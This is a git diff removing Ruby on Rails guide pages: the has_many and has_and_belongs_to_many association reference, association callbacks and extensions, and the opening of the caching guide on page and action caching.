-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6(#has_many-collection-clear). <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
-
-h6(#has_many-collection-empty). <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @customer.orders.empty? %>
-  No Orders Found
-<% end %>
-</ruby>
-
-h6(#has_many-collection-size). <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@order_count = @customer.orders.size
-</ruby>
-
-h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt>
-
-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
-
-<ruby>
-@open_orders = @customer.orders.where(:open => 1)
-</ruby>
-
-h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt>
-
-The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
-
-<ruby>
-@open_orders = @customer.orders.where(:open => true) # No query yet
-@open_order = @open_orders.first # Now the database will be queried
-</ruby>
-
-h6(#has_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
-
-The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6(#has_many-collection-build). <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-
-The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
-
-<ruby>
-@order = @customer.orders.build(:order_date => Time.now,
-  :order_number => "A12345")
-</ruby>
-
-h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now,
-  :order_number => "A12345")
-</ruby>
-
-h5. Options for +has_many+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :dependent => :delete_all, :validate => :false
-end
-</ruby>
-
-The +has_many+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_sql+
-* +:dependent+
-* +:extend+
-* +:finder_sql+
-* +:foreign_key+
-* +:group+
-* +:include+
-* +:limit+
-* +:offset+
-* +:order+
-* +:primary_key+
-* +:readonly+
-* +:select+
-* +:source+
-* +:source_type+
-* +:through+
-* +:uniq+
-* +:validate+
-
-h6(#has_many-as). +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#has_many-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_many-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :class_name => "Transaction"
-end
-</ruby>
-
-h6(#has_many-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order",
-    :conditions => "confirmed = 1"
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order",
-    :conditions => { :confirmed => true }
-end
-</ruby>
-
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
-
-If you need to evaluate conditions dynamically at runtime, use a proc:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :latest_orders, :class_name => "Order",
-    :conditions => proc { ["orders.created_at > ?, 10.hours.ago] }
-end
-</ruby>
-
-h6(#has_many-counter_sql). +:counter_sql+
-
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
-
-NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-
-h6(#has_many-dependent). +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
-
-NOTE: This option is ignored when you use the +:through+ option on the association.
-
-h6(#has_many-extend). +:extend+
-
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6(#has_many-finder_sql). +:finder_sql+
-
-Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-
-h6(#has_many-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :foreign_key => "cust_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#has_many-group). +:group+
-
-The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :line_items, :through => :orders, :group => "orders.id"
-end
-</ruby>
-
-h6(#has_many-include). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-</ruby>
-
-If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :include => :line_items
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-</ruby>
-
-h6(#has_many-limit). +:limit+
-
-The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :recent_orders, :class_name => "Order",
-    :order => "order_date DESC", :limit => 100
-end
-</ruby>
-
-h6(#has_many-offset). +:offset+
-
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-
-h6(#has_many-order). +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :order => "date_confirmed DESC"
-end
-</ruby>
-
-h6(#has_many-primary_key). +:primary_key+
-
-By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6(#has_many-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-
-h6(#has_many-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-
-h6(#has_many-source). +:source+
-
-The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
-
-h6(#has_many-source_type). +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
-
-h6(#has_many-through). +:through+
-
-The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has_many-through-association">earlier in this guide</a>.
-
-h6(#has_many-uniq). +:uniq+
-
-Set the +:uniq+ option to true to keep the collection free of duplicates. This is mostly useful together with the +:through+ option.
-
-<ruby>
-class Person < ActiveRecord::Base
-  has_many :readings
-  has_many :posts, :through => :readings
-end
-
-person = Person.create(:name => 'john')
-post   = Post.create(:name => 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
-Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
-</ruby>
-
-In the above case there are two readings and +person.posts+ brings out both of them even though these records are pointing to the same post.
-
-Now let's set +:uniq+ to true:
-
-<ruby>
-class Person
-  has_many :readings
-  has_many :posts, :through => :readings, :uniq => true
-end
-
-person = Person.create(:name => 'honda')
-post   = Post.create(:name => 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 7, name: "a1">]
-Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
-</ruby>
-
-In the above case there are still two readings. However +person.posts+ shows only one post because the collection loads only unique records.
-
-h6(#has_many-validate). +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5(#has_many-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. +has_and_belongs_to_many+ Association Reference
-
-The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
-
-h5. Methods Added by +has_and_belongs_to_many+
-
-When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.where(...)</tt>
-* <tt><em>collection</em>.exists?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {})</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol. For example, given the declaration:
-
-<ruby>
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-Each instance of the part model will have these methods:
-
-<ruby>
-assemblies(force_reload = false)
-assemblies<<(object, ...)
-assemblies.delete(object, ...)
-assemblies=objects
-assembly_ids
-assembly_ids=ids
-assemblies.clear
-assemblies.empty?
-assemblies.size
-assemblies.find(...)
-assemblies.where(...)
-assemblies.exists?(...)
-assemblies.build(attributes = {}, ...)
-assemblies.create(attributes = {})
-</ruby>
-
-h6. Additional Column Methods
-
-If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
-
-WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
-
-
-h6(#has_and_belongs_to_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@assemblies = @part.assemblies
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
-
-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
-
-<ruby>
-@part.assemblies << @assembly1
-</ruby>
-
-NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
-
-h6(#has_and_belongs_to_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
-
-<ruby>
-@part.assemblies.delete(@assembly1)
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-equal). <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6(#has_and_belongs_to_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@assembly_ids = @part.assembly_ids
-</ruby>
-
-h6(#has_and_belongs_to_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
-
-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6(#has_and_belongs_to_many-collection-clear). <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
-
-h6(#has_and_belongs_to_many-collection-empty). <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @part.assemblies.empty? %>
-  This part is not used in any assemblies
-<% end %>
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-size). <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@assembly_count = @part.assemblies.size
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)</tt>
-
-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
-
-<ruby>
-@new_assemblies = @part.assemblies.all(
-  :conditions => ["created_at > ?", 2.days.ago])
-</ruby>
-
-NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions.
-
-h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt>
-
-The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
-
-<ruby>
-@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
-
-The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6(#has_and_belongs_to_many-collection-build). <tt><em>collection</em>.build(attributes = {})</tt>
-
-The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
-
-<ruby>
-@assembly = @part.assemblies.build(
-  {:assembly_name => "Transmission housing"})
-</ruby>
-
-h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@assembly = @part.assemblies.create(
-  {:assembly_name => "Transmission housing"})
-</ruby>
-
-h5. Options for +has_and_belongs_to_many+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :uniq => true,
-    :read_only => true
-end
-</ruby>
-
-The +has_and_belongs_to_many+ association supports these options:
-
-* +:association_foreign_key+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_sql+
-* +:delete_sql+
-* +:extend+
-* +:finder_sql+
-* +:foreign_key+
-* +:group+
-* +:include+
-* +:insert_sql+
-* +:join_table+
-* +:limit+
-* +:offset+
-* +:order+
-* +:readonly+
-* +:select+
-* +:uniq+
-* +:validate+
-
-h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+
-
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
-
-TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User",
-    :foreign_key => "this_user_id",
-    :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_and_belongs_to_many-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :class_name => "Gadget"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies,
-    :conditions => "factory = 'Seattle'"
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies,
-    :conditions => { :factory => 'Seattle' }
-end
-</ruby>
-
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
-
-h6(#has_and_belongs_to_many-counter_sql). +:counter_sql+
-
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
-
-NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-
-h6(#has_and_belongs_to_many-delete_sql). +:delete_sql+
-
-Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
-
-h6(#has_and_belongs_to_many-extend). +:extend+
-
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6(#has_and_belongs_to_many-finder_sql). +:finder_sql+
-
-Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-
-h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User",
-    :foreign_key => "this_user_id",
-    :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-group). +:group+
-
-The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :group => "factory"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-include). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used.
-
-h6(#has_and_belongs_to_many-insert_sql). +:insert_sql+
-
-Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
-
-h6(#has_and_belongs_to_many-join_table). +:join_table+
-
-If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
-
-h6(#has_and_belongs_to_many-limit). +:limit+
-
-The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "created_at DESC",
-    :limit => 50
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-offset). +:offset+
-
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-
-h6(#has_and_belongs_to_many-order). +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-
-h6(#has_and_belongs_to_many-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-h6(#has_and_belongs_to_many-uniq). +:uniq+
-
-Specify the +:uniq => true+ option to remove duplicates from the collection.
-
-h6(#has_and_belongs_to_many-validate). +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5(#has_and_belongs_to_many-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. Association Callbacks
-
-Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
-
-Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
-
-* +before_add+
-* +after_add+
-* +before_remove+
-* +after_remove+
-
-You define association callbacks by adding options to the association declaration. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :before_add => :check_credit_limit
-
-  def check_credit_limit(order)
-    ...
-  end
-end
-</ruby>
-
-Rails passes the object being added or removed to the callback.
-
-You can stack callbacks on a single event by passing them as an array:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders,
-    :before_add => [:check_credit_limit, :calculate_shipping_charges]
-
-  def check_credit_limit(order)
-    ...
-  end
-
-  def calculate_shipping_charges(order)
-    ...
-  end
-end
-</ruby>
-
-If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
-
-h4. Association Extensions
-
-You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders do
-    def find_by_order_prefix(order_number)
-      find_by_region_id(order_number[0..2])
-    end
-  end
-end
-</ruby>
-
-If you have an extension that should be shared by many associations, you can use a named extension module. For example:
-
-<ruby>
-module FindRecentExtension
-  def find_recent
-    where("created_at > ?", 5.days.ago)
-  end
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders, :extend => FindRecentExtension
-end
-
-class Supplier < ActiveRecord::Base
-  has_many :deliveries, :extend => FindRecentExtension
-end
-</ruby>
-
-To include more than one extension module in a single association, specify an array of modules:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders,
-    :extend => [FindRecentExtension, FindActiveExtension]
-end
-</ruby>
-
-Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor:
-
-* +proxy_association.owner+ returns the object that the association is a part of.
-* +proxy_association.reflection+ returns the reflection object that describes the association.
-* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile
deleted file mode 100644
index 4273d0dd64..0000000000
--- a/railties/guides/source/caching_with_rails.textile
+++ /dev/null
@@ -1,405 +0,0 @@
-h2. Caching with Rails: An overview
-
-This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
-
-After reading this guide, you should be able to use and configure:
-
-* Page, action, and fragment caching
-* Sweepers
-* Alternative cache stores
-* Conditional GET support
-
-endprologue.
-
-h3. Basic Caching
-
-This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins.
-
-To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production.
-
-<ruby>
-config.action_controller.perform_caching = true
-</ruby>
-
-h4. Page Caching
-
-Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
-
-To enable page caching, you need to use the +caches_page+ method.
-
-<ruby>
-class ProductsController < ActionController
-
-  caches_page :index
-
-  def index
-    @products = Products.all
-  end
-end
-</ruby>
-
-Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application.
-
-By default, the page cache directory is set to +Rails.public_path+ (which is usually set to the +public+ folder) and this can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from +public+ helps avoid naming conflicts, since you may want to put other static html in +public+, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.
-
-The Page Caching mechanism will automatically add a +.html+ extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting +config.action_controller.page_cache_extension+.
-
-In order to expire this page when a new product is added we could extend our example controller like this:
-
-<ruby>
-class ProductsController < ActionController
-
-  caches_page :index
-
-  def index
-    @products = Products.all
-  end
-
-  def create
-    expire_page :action => :index
-  end
-
-end
-</ruby>
-
-If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.
-
-NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL!
-
-INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-
-h4. Action Caching
-
-One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy.
-
-Clearing the cache works in the exact same way as with Page Caching.
-
-Let's say you only wanted authenticated users to call actions on +ProductsController+.
-
-<ruby>
-class ProductsController < ActionController
-
-  before_filter :authenticate
-  caches_action :index
-
-  def index
-    @products = Product.all
-  end
-
-  def create
-    expire_action :action => :index
-  end
-
-end
-</ruby>
-
-You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the action should be cached. Also, you can use +:layout => false+ to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.
-
-You can modify the default action cache path by passing a +:cache_path+ option. This will be passed directly to +ActionCachePath.path_for+. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.
-
